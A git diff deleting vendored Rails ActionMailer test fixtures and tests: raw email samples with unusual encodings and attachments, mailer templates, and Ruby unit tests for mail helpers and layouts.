---Apple-Mail-13-196941151
-Content-Type: multipart/mixed;
-	boundary=Apple-Mail-12-196940926
-
-
---Apple-Mail-12-196940926
-Content-Transfer-Encoding: quoted-printable
-Content-Type: text/plain;
-	charset=ISO-8859-1;
-	delsp=yes;
-	format=flowed
-
-This is the first part.
-
---Apple-Mail-12-196940926
-Content-Transfer-Encoding: 7bit
-Content-Type: text/x-ruby-script;
-	x-unix-mode=0666;
-	name="test.rb"
-Content-Disposition: attachment;
-	filename=test.rb
-
-puts "testing, testing"
-
---Apple-Mail-12-196940926
-Content-Transfer-Encoding: base64
-Content-Type: application/pdf;
-	x-unix-mode=0666;
-	name="test.pdf"
-Content-Disposition: inline;
-	filename=test.pdf
-
-YmxhaCBibGFoIGJsYWg=
-
---Apple-Mail-12-196940926
-Content-Transfer-Encoding: 7bit
-Content-Type: text/plain;
-	charset=US-ASCII;
-	format=flowed
-
-
-
---Apple-Mail-12-196940926--
-
---Apple-Mail-13-196941151
-Content-Transfer-Encoding: base64
-Content-Type: application/pkcs7-signature;
-	name=smime.p7s
-Content-Disposition: attachment;
-	filename=smime.p7s
-
-jamisSqGSIb3DQEHAqCAMIjamisxCzAJBgUrDgMCGgUAMIAGCSqGSjamisEHAQAAoIIFSjCCBUYw
-ggQujamisQICBD++ukQwDQYJKojamisNAQEFBQAwMTELMAkGA1UEBhMCRjamisAKBgNVBAoTA1RE
-QzEUMBIGjamisxMLVERDIE9DRVMgQ0jamisNMDQwMjI5MTE1OTAxWhcNMDYwMjamisIyOTAxWjCB
-gDELMAkGA1UEjamisEsxKTAnBgNVBAoTIEjamisuIG9yZ2FuaXNhdG9yaXNrIHRpbjamisRuaW5=
-
---Apple-Mail-13-196941151--
diff --git a/vendor/rails/actionmailer/test/fixtures/raw_email8 b/vendor/rails/actionmailer/test/fixtures/raw_email8
deleted file mode 100644
index 2382dfdf..00000000
--- a/vendor/rails/actionmailer/test/fixtures/raw_email8
+++ /dev/null
@@ -1,47 +0,0 @@
-From xxxxxxxxx.xxxxxxx@gmail.com Sun May  8 19:07:09 2005
-Return-Path: <xxxxxxxxx.xxxxxxx@gmail.com>
-Message-ID: <e85734b90505081209eaaa17b@mail.gmail.com>
-Date: Sun, 8 May 2005 14:09:11 -0500
-From: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx@gmail.com>
-Reply-To: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx@gmail.com>
-To: xxxxx xxxx <xxxxx@xxxxxxxxx.com>
-Subject: Fwd: Signed email causes file attachments
-In-Reply-To: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13@mac.com>
-Mime-Version: 1.0
-Content-Type: multipart/mixed; 
-	boundary="----=_Part_5028_7368284.1115579351471"
-References: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13@mac.com>
-
-------=_Part_5028_7368284.1115579351471
-Content-Type: text/plain; charset=ISO-8859-1
-Content-Transfer-Encoding: quoted-printable
-Content-Disposition: inline
-
-We should not include these files or vcards as attachments.
-
----------- Forwarded message ----------
-From: xxxxx xxxxxx <xxxxxxxx@xxx.com>
-Date: May 8, 2005 1:17 PM
-Subject: Signed email causes file attachments
-To: xxxxxxx@xxxxxxxxxx.com
-
-
-Hi,
-
-Test attachments oddly encoded with japanese charset.
-
-
-------=_Part_5028_7368284.1115579351471
-Content-Type: application/octet-stream; name*=iso-2022-jp'ja'01%20Quien%20Te%20Dij%8aat.%20Pitbull.mp3
-Content-Transfer-Encoding: base64
-Content-Disposition: attachment
-
-MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGFDCCAs0w
-ggI2oAMCAQICAw5c+TANBgkqhkiG9w0BAQQFADBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhh
-d3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVt
-YWlsIElzc3VpbmcgQ0EwHhcNMDUwMzI5MDkzOTEwWhcNMDYwMzI5MDkzOTEwWjBCMR8wHQYDVQQD
-ExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMR8wHQYJKoZIhvcNAQkBFhBzbWhhdW5jaEBtYWMuY29t
-MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAn90dPsYS3LjfMY211OSYrDQLzwNYPlAL
-7+/0XA+kdy8/rRnyEHFGwhNCDmg0B6pxC7z3xxJD/8GfCd+IYUUNUQV5m9MkxfP9pTVXZVIYLaBw
-------=_Part_5028_7368284.1115579351471--
-
diff --git a/vendor/rails/actionmailer/test/fixtures/raw_email9 b/vendor/rails/actionmailer/test/fixtures/raw_email9
deleted file mode 100644
index 8b9b1eaa..00000000
--- a/vendor/rails/actionmailer/test/fixtures/raw_email9
+++ /dev/null
@@ -1,28 +0,0 @@
-Received: from xxx.xxx.xxx ([xxx.xxx.xxx.xxx] verified)
-  by xxx.com (CommuniGate Pro SMTP 4.2.8)
-  with SMTP id 2532598 for xxx@xxx.com; Wed, 23 Feb 2005 17:51:49 -0500
-Received-SPF: softfail
- receiver=xxx.com; client-ip=xxx.xxx.xxx.xxx; envelope-from=xxx@xxx.xxx
-quite Delivered-To: xxx@xxx.xxx
-Received: by xxx.xxx.xxx (Wostfix, from userid xxx)
-	  id 0F87F333; Wed, 23 Feb 2005 16:16:17 -0600
-Date: Wed, 23 Feb 2005 18:20:17 -0400
-From: "xxx xxx" <xxx@xxx.xxx>
-Message-ID: <4D6AA7EB.6490534@xxx.xxx>
-To: xxx@xxx.com
-Subject: Stop adware/spyware once and for all. 
-X-Scanned-By: MIMEDefang 2.11 (www dot roaringpenguin dot com slash mimedefang)
-
-You are infected with: 
-Ad Ware and Spy Ware
-
-Get your free scan and removal download now, 
-before it gets any worse. 
-
-http://xxx.xxx.info?aid=3D13&?stat=3D4327kdzt
-
-
-
-
-no more? (you will still be infected) 
-http://xxx.xxx.info/discon/?xxx@xxx.com
diff --git a/vendor/rails/actionmailer/test/fixtures/raw_email_quoted_with_0d0a b/vendor/rails/actionmailer/test/fixtures/raw_email_quoted_with_0d0a
deleted file mode 100644
index 8a2c25a5..00000000
--- a/vendor/rails/actionmailer/test/fixtures/raw_email_quoted_with_0d0a
+++ /dev/null
@@ -1,14 +0,0 @@
-Mime-Version: 1.0 (Apple Message framework v730)
-Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012@example.com>
-From: foo@example.com
-Subject: testing
-Date: Mon, 6 Jun 2005 22:21:22 +0200
-To: blah@example.com
-Content-Transfer-Encoding: quoted-printable
-Content-Type: text/plain
-
-A fax has arrived from remote ID ''.=0D=0A-----------------------=
--------------------------------------=0D=0ATime: 3/9/2006 3:50:52=
- PM=0D=0AReceived from remote ID: =0D=0AInbound user ID XXXXXXXXXX, r=
-outing code XXXXXXXXX=0D=0AResult: (0/352;0/0) Successful Send=0D=0AP=
-age record: 1 - 1=0D=0AElapsed time: 00:58 on channel 11=0D=0A
diff --git a/vendor/rails/actionmailer/test/fixtures/raw_email_with_invalid_characters_in_content_type b/vendor/rails/actionmailer/test/fixtures/raw_email_with_invalid_characters_in_content_type
deleted file mode 100644
index a8ff7ed4..00000000
--- a/vendor/rails/actionmailer/test/fixtures/raw_email_with_invalid_characters_in_content_type
+++ /dev/null
@@ -1,104 +0,0 @@
-Return-Path: <mikel.other@baci>
-Received: from some.isp.com by baci with ESMTP id 632BD5758 for <mikel.lindsaar@baci>; Sun, 21 Oct 2007 19:38:21 +1000
-Date: Sun, 21 Oct 2007 19:38:13 +1000
-From: Mikel Lindsaar <mikel.other@baci>
-Reply-To: Mikel Lindsaar <mikel.other@baci>
-To: mikel.lindsaar@baci
-Message-Id: <009601c813c6$19df3510$0437d30a@mikel091a>
-Subject: Testing outlook
-Mime-Version: 1.0
-Content-Type: multipart/alternative; boundary=----=_NextPart_000_0093_01C81419.EB75E850
-Delivered-To: mikel.lindsaar@baci
-X-Mimeole: Produced By Microsoft MimeOLE V6.00.2900.3138
-X-Msmail-Priority: Normal
-
-This is a multi-part message in MIME format.
-
-
-------=_NextPart_000_0093_01C81419.EB75E850
-Content-Type: text/plain; charset=iso-8859-1
-Content-Transfer-Encoding: Quoted-printable
-
-Hello
-This is an outlook test
-
-So there.
-
-Me.
-
-------=_NextPart_000_0093_01C81419.EB75E850
-Content-Type: text/html; charset=iso-8859-1
-Content-Transfer-Encoding: Quoted-printable
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-<HTML><HEAD>
-<META http-equiv=3DContent-Type content=3D"text/html; =
-charset=3Diso-8859-1">
-<META content=3D"MSHTML 6.00.6000.16525" name=3DGENERATOR>
-<STYLE></STYLE>
-</HEAD>
-<BODY bgColor=3D#ffffff>
-<DIV><FONT face=3DArial size=3D2>Hello</FONT></DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG>This is an outlook=20
-test</STRONG></FONT></DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG></STRONG></FONT>&nbsp;</DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG>So there.</STRONG></FONT></DIV>
-<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
-<DIV><FONT face=3DArial size=3D2>Me.</FONT></DIV></BODY></HTML>
-
-
-------=_NextPart_000_0093_01C81419.EB75E850--
-
-
-Return-Path: <mikel.other@baci>
-Received: from some.isp.com by baci with ESMTP id 632BD5758 for <mikel.lindsaar@baci>; Sun, 21 Oct 2007 19:38:21 +1000
-Date: Sun, 21 Oct 2007 19:38:13 +1000
-From: Mikel Lindsaar <mikel.other@baci>
-Reply-To: Mikel Lindsaar <mikel.other@baci>
-To: mikel.lindsaar@baci
-Message-Id: <009601c813c6$19df3510$0437d30a@mikel091a>
-Subject: Testing outlook
-Mime-Version: 1.0
-Content-Type: multipart/alternative; boundary=----=_NextPart_000_0093_01C81419.EB75E850
-Delivered-To: mikel.lindsaar@baci
-X-Mimeole: Produced By Microsoft MimeOLE V6.00.2900.3138
-X-Msmail-Priority: Normal
-
-This is a multi-part message in MIME format.
-
-
-------=_NextPart_000_0093_01C81419.EB75E850
-Content-Type: text/plain; charset=iso-8859-1
-Content-Transfer-Encoding: Quoted-printable
-
-Hello
-This is an outlook test
-
-So there.
-
-Me.
-
-------=_NextPart_000_0093_01C81419.EB75E850
-Content-Type: text/html; charset=iso-8859-1
-Content-Transfer-Encoding: Quoted-printable
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-<HTML><HEAD>
-<META http-equiv=3DContent-Type content=3D"text/html; =
-charset=3Diso-8859-1">
-<META content=3D"MSHTML 6.00.6000.16525" name=3DGENERATOR>
-<STYLE></STYLE>
-</HEAD>
-<BODY bgColor=3D#ffffff>
-<DIV><FONT face=3DArial size=3D2>Hello</FONT></DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG>This is an outlook=20
-test</STRONG></FONT></DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG></STRONG></FONT>&nbsp;</DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG>So there.</STRONG></FONT></DIV>
-<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
-<DIV><FONT face=3DArial size=3D2>Me.</FONT></DIV></BODY></HTML>
-
-
-------=_NextPart_000_0093_01C81419.EB75E850--
-
-
diff --git a/vendor/rails/actionmailer/test/fixtures/raw_email_with_nested_attachment b/vendor/rails/actionmailer/test/fixtures/raw_email_with_nested_attachment
deleted file mode 100644
index 429c408c..00000000
--- a/vendor/rails/actionmailer/test/fixtures/raw_email_with_nested_attachment
+++ /dev/null
@@ -1,100 +0,0 @@
-From jamis@37signals.com Thu Feb 22 11:20:31 2007
-Mime-Version: 1.0 (Apple Message framework v752.3)
-Message-Id: <2CCE0408-10C7-4045-9B16-A1C11C31469B@37signals.com>
-Content-Type: multipart/signed;
-	micalg=sha1;
-	boundary=Apple-Mail-42-587703407;
-	protocol="application/pkcs7-signature"
-To: Jamis Buck <jamis@jamisbuck.org>
-Subject: Testing attachments
-From: Jamis Buck <jamis@37signals.com>
-Date: Thu, 22 Feb 2007 11:20:31 -0700
-
-
---Apple-Mail-42-587703407
-Content-Type: multipart/mixed;
-	boundary=Apple-Mail-41-587703287
-
-
---Apple-Mail-41-587703287
-Content-Transfer-Encoding: 7bit
-Content-Type: text/plain;
-	charset=US-ASCII;
-	format=flowed
-
-Here is a test of an attachment via email.
-
-- Jamis
-
-
---Apple-Mail-41-587703287
-Content-Transfer-Encoding: base64
-Content-Type: image/png;
-	x-unix-mode=0644;
-	name=byo-ror-cover.png
-Content-Disposition: inline;
-	filename=truncated.png
-
-iVBORw0KGgoAAAANSUhEUgAAAKUAAADXCAYAAAB7wZEQAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz
-AAALEgAACxIB0t1+/AAAABd0RVh0Q3JlYXRpb24gVGltZQAxLzI1LzIwMDeD9CJVAAAAGHRFWHRT
-b2Z0d2FyZQBBZG9iZSBGaXJld29ya3NPsx9OAAAyBWlUWHRYTUw6Y29tLmFkb2JlLnhtcDw/eHBh
-Y2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1l
-dGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDQuMS1j
-MDIwIDEuMjU1NzE2LCBUdWUgT2N0IDEwIDIwMDYgMjM6MTY6MzQiPgogICA8cmRmOlJERiB4bWxu
-czpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogICAg
-ICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIgogICAgICAgICAgICB4bWxuczp4YXA9Imh0
-dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iPgogICAgICAgICA8eGFwOkNyZWF0b3JUb29sPkFk
-b2JlIEZpcmV3b3JrcyBDUzM8L3hhcDpDcmVhdG9yVG9vbD4KICAgICAgICAgPHhhcDpDcmVhdGVE
-YXRlPjIwMDctMDEtMjVUMDU6Mjg6MjFaPC94YXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhhcDpN
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-ZGY6RGVzY3JpcHRpb24+CiAgICAgIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiCiAgICAg
-ICAgICAgIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyI+CiAgICAg
-ICAgIDxkYzpmb3JtYXQ+aW1hZ2UvcG5nPC9kYzpmb3JtYXQ+CiAgICAgIDwvcmRmOkRlc2NyaXB0
-hhojpmnJMfaYFmSkXWg5PGCmHXVj/c9At0hSK2xGdd8F3muk0VFjb4f5Ue0ksQ8qAcq0delaXhdb
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-ai2TEAKen5+LJNWrglZjm3UbZvt7KryA2J5b5J1jZF8kL6GzvG1Zqx54Y1y7J7n20wMOt9frG2sW
-uwGP07kNz3732vf6bfvAvLldfS+9fts2euXY37D+R29FGZdlnhzV4TTFmPJduBP2RbNNua4rTqcT
-Qt7Xy1KUB0AHSdP5AZQYvHZg7WD1XvYeMO1A9HhZPqMX5KXbMBrn2efxns/ee21674efxz4Tp/fq
-2HZ648dgYaC1i3Vq1IbNPq3PvDTPezY9FaRISjvnzWqdgcWN8EJgjnNq+Z7ktOm9l2Nfth28EZi4
-bG/we5JwxM+Tql47/D/X6b38I8/RyxvxPJrX6zvQbo3h9jyJx+C0ALX327QETHl5eYlaYCT5rPTb
-+5/rAq26t3lKIxV/p88hq6ptngdgCzoPjJqndiLfc/6y5A14WeDFGNPct4iUsJBV2bYzLEV7m83s
-6Rp63VPhHKC/g/LzaU9qexJRr56043JWinqAtfZqsSm1sjoznthl54dtCqv+uL4nIY+oYWuc3+nH
-kGfn8b0HQpvOYLQAZUDanbJs3jQhITZEgdarZK+cO6ySlL13rut5nFaN23s7u3Snz6eRPTkCoc2/
-Vp1zHfZVFpZ87FiMVLV1iqyK5rlzfji2GzjfDsodlD+Weo5UD4h6PwKqzQMqID0tq2VjjFVSMpis
-ZLRAs7sePZBZAHI+gIanB8I7MD+femAceeUe2Kxa5jS950kZ1p5eNEdeX1+jFmSpZ+1EdWCsDcne
-NPNgUHNw3aYpnzv9PGTX0uo94EtN9qq1rOdxe3kc79T8ukeHJJ8Fnxej6qlylbLLsjQLOy6Xy2a1
-kefs/N+nM7+S7IG5/E5Yc7F003pWErLjbH0O5cGadiMptSB/DZ5U5DI9yeg5MFYyMj8lC/Y7/Xjq
-OZlWcnpg9aQfXz2HRq+Wn5xOp6gN8tWq8R44e2pfyzLYemEgprst+XXk2Zj2nXlbsG05BprndTMv
-C3QRaXczshhVsHnMgfYn80Y2g5JureA6wBasPeP7LkE/jvZMJAaf/g/U2RelHsisvan5FqweIAHg
-Pwc7L68GxvVDAAAAAElFTkSuQmCC
-
---Apple-Mail-41-587703287--
-
---Apple-Mail-42-587703407
-Content-Transfer-Encoding: base64
-Content-Type: application/pkcs7-signature;
-	name=smime.p7s
-Content-Disposition: attachment;
-	filename=smime.p7s
-
-MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGJzCCAuAw
-ggJJoAMCAQICEFjnFNYXwDEZRWY5EkfzopUwDQYJKoZIhvcNAQEFBQAwYjELMAkGA1UEBhMCWkEx
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-yleRDGv3bJ4nQYQ+c3mz3+mn3Xi6uU35n3piwxZZaWRdmLyiXPvU+QReHpSf3l2qsEZM3sdE0XF9
-eRul/+QTFJcDNXOEAxG1zC2Gpz+6c6RrX4Ou12Pwkp+pNrZWTSY/mZgdqcArupOBcZi7qBjoWcy5
-wb54dfvSSjrjmqLbkH/E8ww/6gGQuU/xXpAUZgUrTmQHrNKeIdSh5oDkOxFaFWvnmb8Z/2ixKqW/
-Ux6WqamyvBtTs/5YBEtnpZOk+uVoscYEUBhU+DVJ2OSvTdXSivMtBdXmGTsG22k+P1NGUHi/A7ev
-xPaO0uk4V8xyjNlN4HPuGpkrlXwPAAAAAAAA
-
---Apple-Mail-42-587703407--
diff --git a/vendor/rails/actionmailer/test/fixtures/raw_email_with_partially_quoted_subject b/vendor/rails/actionmailer/test/fixtures/raw_email_with_partially_quoted_subject
deleted file mode 100644
index e86108da..00000000
--- a/vendor/rails/actionmailer/test/fixtures/raw_email_with_partially_quoted_subject
+++ /dev/null
@@ -1,14 +0,0 @@
-From jamis@37signals.com Mon May  2 16:07:05 2005
-Mime-Version: 1.0 (Apple Message framework v622)
-Content-Transfer-Encoding: base64
-Message-Id: <d3b8cf8e49f04480850c28713a1f473e@37signals.com>
-Content-Type: text/plain;
-  charset=EUC-KR;
-  format=flowed
-To: jamis@37signals.com
-From: Jamis Buck <jamis@37signals.com>
-Subject: Re: Test: =?UTF-8?B?Iua8ouWtlyI=?= mid =?UTF-8?B?Iua8ouWtlyI=?= tail
-Date: Mon, 2 May 2005 16:07:05 -0600
-
-tOu6zrrQwMcguLbC+bChwfa3ziwgv+y4rrTCIMfPs6q01MC7ILnPvcC0z7TZLg0KDQrBpiDAzLin
-wLogSmFtaXPA1LTPtNku
diff --git a/vendor/rails/actionmailer/test/fixtures/second_mailer/share.erb b/vendor/rails/actionmailer/test/fixtures/second_mailer/share.erb
deleted file mode 100644
index 9a540106..00000000
--- a/vendor/rails/actionmailer/test/fixtures/second_mailer/share.erb
+++ /dev/null
@@ -1 +0,0 @@
-second mail
diff --git a/vendor/rails/actionmailer/test/fixtures/templates/signed_up.erb b/vendor/rails/actionmailer/test/fixtures/templates/signed_up.erb
deleted file mode 100644
index a85d5fa4..00000000
--- a/vendor/rails/actionmailer/test/fixtures/templates/signed_up.erb
+++ /dev/null
@@ -1,3 +0,0 @@
-Hello there, 
-
-Mr. <%= @recipient %>
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/test_mailer/_subtemplate.text.plain.erb b/vendor/rails/actionmailer/test/fixtures/test_mailer/_subtemplate.text.plain.erb
deleted file mode 100644
index 3b4ba35f..00000000
--- a/vendor/rails/actionmailer/test/fixtures/test_mailer/_subtemplate.text.plain.erb
+++ /dev/null
@@ -1 +0,0 @@
-let's go!
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/test_mailer/body_ivar.erb b/vendor/rails/actionmailer/test/fixtures/test_mailer/body_ivar.erb
deleted file mode 100644
index 1421e5c9..00000000
--- a/vendor/rails/actionmailer/test/fixtures/test_mailer/body_ivar.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-body: <%= @body %>
-bar: <%= @bar %>
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/test_mailer/custom_templating_extension.text.html.haml b/vendor/rails/actionmailer/test/fixtures/test_mailer/custom_templating_extension.text.html.haml
deleted file mode 100644
index 847d065c..00000000
--- a/vendor/rails/actionmailer/test/fixtures/test_mailer/custom_templating_extension.text.html.haml
+++ /dev/null
@@ -1,6 +0,0 @@
-%p Hello there, 
-
-%p 
-  Mr.
-  = @recipient
-  from haml
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/test_mailer/custom_templating_extension.text.plain.haml b/vendor/rails/actionmailer/test/fixtures/test_mailer/custom_templating_extension.text.plain.haml
deleted file mode 100644
index 847d065c..00000000
--- a/vendor/rails/actionmailer/test/fixtures/test_mailer/custom_templating_extension.text.plain.haml
+++ /dev/null
@@ -1,6 +0,0 @@
-%p Hello there, 
-
-%p 
-  Mr.
-  = @recipient
-  from haml
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.ignored.erb b/vendor/rails/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.ignored.erb
deleted file mode 100644
index 6940419d..00000000
--- a/vendor/rails/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.ignored.erb
+++ /dev/null
@@ -1 +0,0 @@
-Ignored when searching for implicitly multipart parts.
diff --git a/vendor/rails/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.rhtml.bak b/vendor/rails/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.rhtml.bak
deleted file mode 100644
index 6940419d..00000000
--- a/vendor/rails/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.rhtml.bak
+++ /dev/null
@@ -1 +0,0 @@
-Ignored when searching for implicitly multipart parts.
diff --git a/vendor/rails/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.text.html.erb b/vendor/rails/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.text.html.erb
deleted file mode 100644
index 946d99ed..00000000
--- a/vendor/rails/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.text.html.erb
+++ /dev/null
@@ -1,10 +0,0 @@
-<html>
-  <body>
-    HTML formatted message to <strong><%= @recipient %></strong>.
-  </body>
-</html>
-<html>
-  <body>
-    HTML formatted message to <strong><%= @recipient %></strong>.
-  </body>
-</html>
diff --git a/vendor/rails/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.text.plain.erb b/vendor/rails/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.text.plain.erb
deleted file mode 100644
index a6c8d54c..00000000
--- a/vendor/rails/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.text.plain.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-Plain text to <%= @recipient %>.
-Plain text to <%= @recipient %>.
diff --git a/vendor/rails/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.text.yaml.erb b/vendor/rails/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.text.yaml.erb
deleted file mode 100644
index c14348c7..00000000
--- a/vendor/rails/actionmailer/test/fixtures/test_mailer/implicitly_multipart_example.text.yaml.erb
+++ /dev/null
@@ -1 +0,0 @@
-yaml to: <%= @recipient %>
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.plain.erb b/vendor/rails/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.plain.erb
deleted file mode 100644
index a93c30ea..00000000
--- a/vendor/rails/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.plain.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hey Ho, <%= render :partial => "subtemplate" %>
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/test_mailer/rxml_template.builder b/vendor/rails/actionmailer/test/fixtures/test_mailer/rxml_template.builder
deleted file mode 100644
index d566bd8d..00000000
--- a/vendor/rails/actionmailer/test/fixtures/test_mailer/rxml_template.builder
+++ /dev/null
@@ -1,2 +0,0 @@
-xml.instruct!
-xml.test
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/test_mailer/rxml_template.rxml b/vendor/rails/actionmailer/test/fixtures/test_mailer/rxml_template.rxml
deleted file mode 100644
index d566bd8d..00000000
--- a/vendor/rails/actionmailer/test/fixtures/test_mailer/rxml_template.rxml
+++ /dev/null
@@ -1,2 +0,0 @@
-xml.instruct!
-xml.test
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/test_mailer/signed_up.html.erb b/vendor/rails/actionmailer/test/fixtures/test_mailer/signed_up.html.erb
deleted file mode 100644
index a85d5fa4..00000000
--- a/vendor/rails/actionmailer/test/fixtures/test_mailer/signed_up.html.erb
+++ /dev/null
@@ -1,3 +0,0 @@
-Hello there, 
-
-Mr. <%= @recipient %>
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/fixtures/test_mailer/signed_up_with_url.erb b/vendor/rails/actionmailer/test/fixtures/test_mailer/signed_up_with_url.erb
deleted file mode 100644
index 4c5806d3..00000000
--- a/vendor/rails/actionmailer/test/fixtures/test_mailer/signed_up_with_url.erb
+++ /dev/null
@@ -1,5 +0,0 @@
-Hello there, 
-
-Mr. <%= @recipient %>. Please see our greeting at <%= @welcome_url %> <%= welcome_url %>
-
-<%= image_tag "somelogo.png" %>
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/test/mail_helper_test.rb b/vendor/rails/actionmailer/test/mail_helper_test.rb
deleted file mode 100644
index e94aeff0..00000000
--- a/vendor/rails/actionmailer/test/mail_helper_test.rb
+++ /dev/null
@@ -1,95 +0,0 @@
-require 'abstract_unit'
-
-module MailerHelper
-  def person_name
-    "Mr. Joe Person"
-  end
-end
-
-class HelperMailer < ActionMailer::Base
-  helper MailerHelper
-  helper :example
-
-  def use_helper(recipient)
-    recipients recipient
-    subject    "using helpers"
-    from       "tester@example.com"
-  end
-
-  def use_example_helper(recipient)
-    recipients recipient
-    subject    "using helpers"
-    from       "tester@example.com"
-    self.body = { :text => "emphasize me!" }
-  end
-
-  def use_mail_helper(recipient)
-    recipients recipient
-    subject    "using mailing helpers"
-    from       "tester@example.com"
-    self.body = { :text => 
-      "But soft! What light through yonder window breaks? It is the east, " +
-      "and Juliet is the sun. Arise, fair sun, and kill the envious moon, " +
-      "which is sick and pale with grief that thou, her maid, art far more " +
-      "fair than she. Be not her maid, for she is envious! Her vestal " +
-      "livery is but sick and green, and none but fools do wear it. Cast " +
-      "it off!"
-    }
-  end
-
-  def use_helper_method(recipient)
-    recipients recipient
-    subject    "using helpers"
-    from       "tester@example.com"
-    self.body = { :text => "emphasize me!" }
-  end
-
-  private
-
-    def name_of_the_mailer_class
-      self.class.name
-    end
-    helper_method :name_of_the_mailer_class
-end
-
-class MailerHelperTest < Test::Unit::TestCase
-  def new_mail( charset="utf-8" )
-    mail = TMail::Mail.new
-    mail.set_content_type "text", "plain", { "charset" => charset } if charset
-    mail
-  end
-
-  def setup
-    set_delivery_method :test
-    ActionMailer::Base.perform_deliveries = true
-    ActionMailer::Base.deliveries = []
-
-    @recipient = 'test@localhost'
-  end
-  
-  def teardown
-    restore_delivery_method
-  end
-  
-  def test_use_helper
-    mail = HelperMailer.create_use_helper(@recipient)
-    assert_match %r{Mr. Joe Person}, mail.encoded
-  end
-
-  def test_use_example_helper
-    mail = HelperMailer.create_use_example_helper(@recipient)
-    assert_match %r{<em><strong><small>emphasize me!}, mail.encoded
-  end
-
-  def test_use_helper_method
-    mail = HelperMailer.create_use_helper_method(@recipient)
-    assert_match %r{HelperMailer}, mail.encoded
-  end
-
-  def test_use_mail_helper
-    mail = HelperMailer.create_use_mail_helper(@recipient)
-    assert_match %r{  But soft!}, mail.encoded
-    assert_match %r{east, and\n  Juliet}, mail.encoded
-  end
-end
-
diff --git a/vendor/rails/actionmailer/test/mail_layout_test.rb b/vendor/rails/actionmailer/test/mail_layout_test.rb
deleted file mode 100644
index 50901f52..00000000
--- a/vendor/rails/actionmailer/test/mail_layout_test.rb
+++ /dev/null
@@ -1,123 +0,0 @@
-require 'abstract_unit'
-
-class AutoLayoutMailer < ActionMailer::Base
-  def hello(recipient)
-    recipients recipient
-    subject    "You have a mail"
-    from       "tester@example.com"
-  end
-
-  def spam(recipient)
-    recipients recipient
-    subject    "You have a mail"
-    from       "tester@example.com"
-    body       render(:inline => "Hello, <%= @world %>", :layout => 'spam', :body => { :world => "Earth" })
-  end
-
-  def nolayout(recipient)
-    recipients recipient
-    subject    "You have a mail"
-    from       "tester@example.com"
-    body       render(:inline => "Hello, <%= @world %>", :layout => false, :body => { :world => "Earth" })
-  end
-
-  def multipart(recipient, type = nil)
-    recipients recipient
-    subject    "You have a mail"
-    from       "tester@example.com"
-
-    content_type(type) if type
-  end
-end
-
-class ExplicitLayoutMailer < ActionMailer::Base
-  layout 'spam', :except => [:logout]
-
-  def signup(recipient)
-    recipients recipient
-    subject    "You have a mail"
-    from       "tester@example.com"
-  end
-
